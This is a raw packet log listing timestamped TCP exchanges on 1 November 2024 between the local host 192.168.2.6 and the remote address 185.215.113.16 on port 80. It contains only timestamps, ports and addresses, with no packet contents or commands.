Nov 1, 2024 03:45:26.995434046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995606899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996011019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996021986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996031046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996041059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996052980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996062994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996076107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996085882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996092081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996092081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996097088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996109009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996120930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996126890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996130943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996144056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996155024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996165991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996167898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996167898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996179104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996191978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996293068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996469975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996480942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996490955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996501923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.996537924 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.996838093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.035516977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.035643101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.035657883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.038719893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.038732052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.039036989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.065077066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.065288067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.066438913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.066454887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.066466093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.066477060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.066510916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.066579103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.070027113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.071166039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.071178913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.071319103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.071341038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.071933985 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.075953960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.075967073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.076083899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.076095104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.076106071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.076111078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.076565981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.080733061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.080745935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.080760956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.080825090 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.080859900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.080859900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.080873966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.080883980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.081047058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.085495949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.085509062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.085519075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.085711002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.085722923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.085803032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.087450027 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.090270996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.090285063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.090457916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.090471029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.090485096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.090517998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.090517998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.095076084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095094919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095104933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095115900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095164061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095176935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095190048 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.095191956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.095211983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.096369982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.099848032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.099860907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.099883080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.099895000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.099915981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.100012064 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.104557037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.104585886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.104597092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.104770899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.109349966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.109360933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.109468937 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.113997936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.114011049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.114051104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.114054918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.114063025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.114121914 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.118733883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.118745089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.118756056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.118777990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.118788004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.118798971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.118814945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.118887901 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.123486996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.123502016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.123565912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.123578072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.123588085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.123604059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.123613119 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.123624086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.123708010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.128245115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.128257990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.128267050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.128288984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.128302097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.128310919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.128359079 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.128359079 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.128412008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.133007050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.133019924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.133030891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.133050919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.133060932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.133122921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.133122921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.137825966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137839079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137846947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137868881 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137877941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137886047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137897015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137906075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.137922049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.137922049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.137922049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.138012886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.142663956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.142678022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.142687082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.142703056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.142714977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.142738104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.142782927 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.147440910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.147453070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.147461891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.147484064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.147495031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.147548914 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.147582054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.152271032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.152283907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.152322054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.152333021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.152393103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.152393103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.157013893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.157027960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.157037020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.157059908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.157069921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.157133102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.157200098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.161823988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.161837101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.161844969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.161866903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.161878109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.161892891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.161912918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.162034988 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.166568995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.166610956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.166623116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.166632891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.166650057 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.166692019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.166727066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.167004108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.171356916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.171370029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.171380997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.171603918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.171792984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.171802998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.172065020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.176095009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.176107883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.176234007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.176496029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.176508904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.176517963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.176780939 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.180871010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.180881977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.180891037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.180938005 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.181196928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.181209087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.181226015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.181271076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.181372881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.185704947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.185715914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.185883999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.185898066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.185909033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.186036110 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.190440893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.190454006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.190558910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.190570116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.190587044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.190601110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.190660954 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.195157051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.195168972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.195295095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.195307016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.195321083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.195349932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.195384979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.195384979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.199856043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.199870110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.199990034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.200001955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.200011969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.200014114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.200077057 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.204773903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204786062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204794884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204806089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204816103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204828024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204838037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204849958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204859018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.204859972 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.204868078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204879999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204893112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204905033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.204914093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204926968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204936981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204952002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.204952002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.204988003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.204999924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205010891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205029964 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.205029964 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.205096006 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.205200911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205213070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205221891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205231905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205241919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205252886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205265045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205267906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.205275059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205286980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205297947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205308914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.205319881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.205319881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.205353022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206042051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206053972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206063986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206074953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206094980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206105947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206105947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206116915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206121922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206131935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206142902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206154108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206160069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206160069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206166029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206177950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206188917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206198931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206209898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206214905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206214905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206214905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206221104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206233978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206243038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206252098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206254959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206268072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206276894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206289053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206298113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206298113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206300974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206312895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206315041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206324100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206384897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206384897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206856012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206872940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206882954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206892967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206903934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206914902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206924915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.206934929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206935883 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.206970930 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.207046032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.207062006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.207129955 CET	49750	80	192.168.2.6	185.215.113.16
